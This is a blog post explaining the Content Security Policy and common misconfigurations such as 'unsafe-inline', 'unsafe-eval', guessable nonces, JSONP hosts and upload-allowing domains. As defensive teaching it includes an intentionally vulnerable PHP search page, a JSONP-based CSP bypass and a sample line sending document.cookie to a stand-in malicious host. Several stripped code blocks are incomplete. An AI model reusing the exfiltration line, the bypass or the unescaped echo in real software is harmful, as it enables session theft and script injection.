---
title: Setting a good Content Security Policy
date: 2024-08-22
tags:
- Security
- Websites
description: >
Setting a good CSP can be hard. Here I go through what it is, and how to set
it up well.
---
The Content Security Policy (CSP) is a powerful security feature that helps
protect your website from cross-site scripting (XSS) attacks and other types of
code injection vulnerabilities. There are some directives that do other things,
but the bulk of this blog post will cover using the `fetch-directives`, or the
elements of the CSP that allow you to specify a allow-list of approved sources
from which resources This helps prevent malicious code from being executed on
your site.
To implement CSP, you need to set the Content-Security-Policy HTTP header on
your web server. Here's an example of what a basic CSP header might look like:
```
Content-Security-Policy: default-src 'self'; script-src 'self' https://example.com
```
Let's break down the different directives in this example:
- `default-src 'self'`: This sets the default source for all resource types to the same origin (i.e., your own website). This is a good baseline to start with.
- `script-src 'self' https://example.com`: This specifies that scripts can only be loaded from your own site (`'self'`) and the `https://example.com` domain. This helps prevent the execution of any unauthorized scripts.
It is worth noting that default-src applies to all source types that haven't
been explicitly specified. Any sources that are explicitly specified overwrite
then default-src, they are not added to it.
Consider the following:
```
Content-Security-Policy: default-src 'self'; script-src https://example.com
```
This will not allow scripts to sourced from the current origin, despite `'self'`
being in the `default-src` directive.
You can further customize the CSP header to suit your website's specific needs.
For example, you might want to allow images to be loaded from a content delivery
network (CDN), or allow fonts from a third-party font provider. Here's an
example of a more comprehensive CSP header:
```
Content-Security-Policy: default-src 'self'; script-src 'self' https://example.com; style-src 'self' https://cdn.example.com; img-src 'self' https://cdn.example.com; font-src 'self' https://fonts.gstatic.com
```
In this example, we've added directives for styles, images, and fonts, allowing
them to be loaded from specific approved sources.
It's important to note that implementing CSP is an iterative process. You'll
likely need to adjust your policy as you add new features and functionality to
your website. A good approach is to start with a strict policy and gradually
loosen it as needed, while keeping security as the top priority.
Whilst testing, it may be useful to use the
[content-security-policy-report-only](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy-Report-Only)
header. Whilst it doesn't provide any protection, it also won't break an
existing site as it only reports report violations, rather than blocking them.
## Why Bother
So, we have an idea of how to set a CSP, but not why we may want to. The main
reason to have a strong CSP set is to protect against injection attacks. The
most common of these is cross-site-scripting, where JavaScript is injected;
although other types do exist when injecting malicious css (style-injection), or
images (image-injection). The example below explains one way in which script
injection, or cross-site-scripting, is bad.
Take the following simple PHP search page:
```php
Vulnerable Search Page
Search Our Website
You searched for: " . $_GET['search'] . "";
}
//Some logic to display search results
?>
```
The important factor here is that the users search query (`$_GET['search']`) is
output verbatim, without encoding or sanitising it.
If I perform a search for ``, the following h2 tag will be sent to the browser:
```
You searched for:
```
The browser will see that, and interpret the script tag as a script it should
execute. `alert(1)` is a relatively benign function that we often use to
demonstrate the issue exists, without causing significant issues to the site.
However, now imagine changing `alert(1)` for
`fetch('https://malicious-site.com?c=' + document.cookie)`.
Now my cookies have been sent to a malicious site for the owner to do with as
they please.
The content-security-policy can be use to add a layer of protection here. When
set strictly, the browser can "know" that the script tag in the h1 tag isn't on
a pre-approved list, so the browser won't execute it.
## Potential Mistakes
So, now we know why you might want a CSP, and how to set one, we'll look at some
of the most common mistakes I see people make.
### `'unsafe-inline'` source
This source is very frequently added to a CSP, without realising it severely
limits the protection that it can offer. Most online generators will add it as,
in their current setup, most sites use inline resources. An inline resource is,
as the name suggests, most script or style resources that are not external.
So,
```html
```
The problem here is that, more often than not, inline JS is the easiest way to
achieve XSS. The search example we used earlier added an inline script tag, so
a CSP with unsafe-inline would not have prevented it from executing.
There are a number of better options here. First is externalising scripts. So,
moving inline JS into an external file and adding it to the allow-list.
If that isn't possible, or practical, another option is to use the special
`-` sources, or `nonce-` sources. These allow you to add
specific inline scripts to the allow-list, without allowing all inline scripts.
Just make sure not to fall into the [potential mistakes with nonce
sources](#nonce-source).
### `'unsafe-eval'` source
The unsafe-eval source is only relevant for JavaScript, and allows scripts to
run `eval()`, and a couple of other similar functions. The most common use for
eval I've seen is when targeting older JS environments that not have native
JSON support as an alternative to `JSON.parse()`.
So, consider the following:
```js
const jsonString = document.getElementById('someTextArea').value;
const jsonObject = eval(jsonString2 );
```
If the contents of the text area were:
```json
{
"name": "Jane Doe",
"age": 25
}
```
then:
```
console.log(jsonObject.name); // Output: "Jane Doe"
```
However, if the contents of the text area were `alert(1)`, then we are in the
situation again whereby unsafe JavaScript is being executed. Unfortunately,
there are a lot of different uses of eval, so a "fix" for all of them is
unlikely. However, most modern frameworks do not need to use eval, so disabling
it is preferable if possible.
### Nonce source
The nonce source allows site maintainers to allow some inline sources to be
included. We've been using JavaScript as examples, so I will continue to do so,
but note that this is also relevant for CSS.
```
Content-Security-Policy: script-src 'nonce-uph5Fai4'
```
```
Example
Our Website
```
For the nonce source to be effective, it must be unpractical for malicious actor
to guess the nonce. In practice, this generally means using a long and random
string of characters for each response. The nonce should not be re-used. If a
malicious actor can guess what a nonce is, then they can simply add the
attribute to their injected payload.
### JSONP Sources
JSONP (JSON with Padding) is a technique used to bypass the same-origin policy,
which is a security feature implemented by web browsers to prevent a web page
from making requests to a different domain than the one that served the web
page.
The way JSONP works is as follows:
1. The client-side code defines a function, to processes JSON data.
1. A `
```
The response to that data script would look something like:
```javascript
handleResponse({
"name": "John Doe",
"age": 30
});
```
JSONP was a popular technique in the past, as it allowed developers to make
cross-domain requests without running into the same-origin policy.
However, if a user is able to inject a script tag into a document, and a CDN
that is known to host JSONP endpoints is on the allow-list, they could include
something like
```html
```
Most implementations will then return the following:
```javascript
alert(1);handleResponse({
"name": "John Doe",
"age": 30
});
```
JSONP is now generally discouraged, in favour of
[CORS](https://jakearchibald.com/2021/cors/), which allows site owners to
explicitly allow some resources to be requested across origins. However, note
that many CDNs host JSONP endpoints, so even if your site doesn't use them,
allowing a domain that hosts them is enough to provide a CSP bypass in many
situations. The CSP does allow sub directories or even specific files to be
added to the allow-list, so if unsure about whether a CDN provides JSONP
endpoints, you may wish to explicitly allow a specific file on the CDN, rather
than all files.
For example:
```
Content-Security-Policy: script-src http://example.com/file.js;
```
as opposed to
```
Content-Security-Policy: script-src http://example.com/;
```
### Domains Which Allow Uploads
When you include a domain in your CSP, you're essentially giving control of your
website's security to that platform and all the developers who publish code on
it. Not only does this potentially introduce [supply chain
attacks](https://thehackernews.com/2024/07/polyfillio-attack-impacts-over-380000.html),
many CDNs also allow public submission. Unpkg, for instance, is a popular CDN
that hosts everything on NPM. All you need to submit code to it is a free NPM
account. If a CSP includes unpkg, or one of the many similar services, in their
CSP; anyone can submit code that the CSP will allow to run.
#### Self source
It is worth noting that the `'self'` keyword can introduce a similar issue.
The `'self'` source is a shortcut to allow sources from
the current [origin](https://developer.mozilla.org/en-US/docs/Glossary/Origin).
The difference between origin and site has been discussed [elsewhere in more
detail](https://jakearchibald.com/2021/cors/#origins-vs-sites), but briefly, an
origin is defined by scheme (protocol), hostname (domain), and port of the url.
Sub domains are a different origin, although often the same same site.
```
https://example.jonathanh.co.uk:443/something/cool
│ │
└────────────Origin───────────────┘
https://example.jonathanh.co.uk:443/something/cool
│ │
└────Site─────┘
```
Normally, including `'self'` is safe, although care should be taken if you allow
users of your site to upload content, and that content is accessible on the same
origin. If so, a user could potentially upload a malicious file and bypass the
CSP as the file is available under the `'self'` domain.
### Other Permissive Sources
The following are considered permissive. I won't go into too much detail for
each, but ideally you should avoid using:
* `https:` - Any source that is hosted on an encrypted server. A malicious actor
can very easily spin up a server with a valid certificate
* `data:` - Any source that can be loaded via a data scheme. In most cases, this
just involves base64 encoding a payload.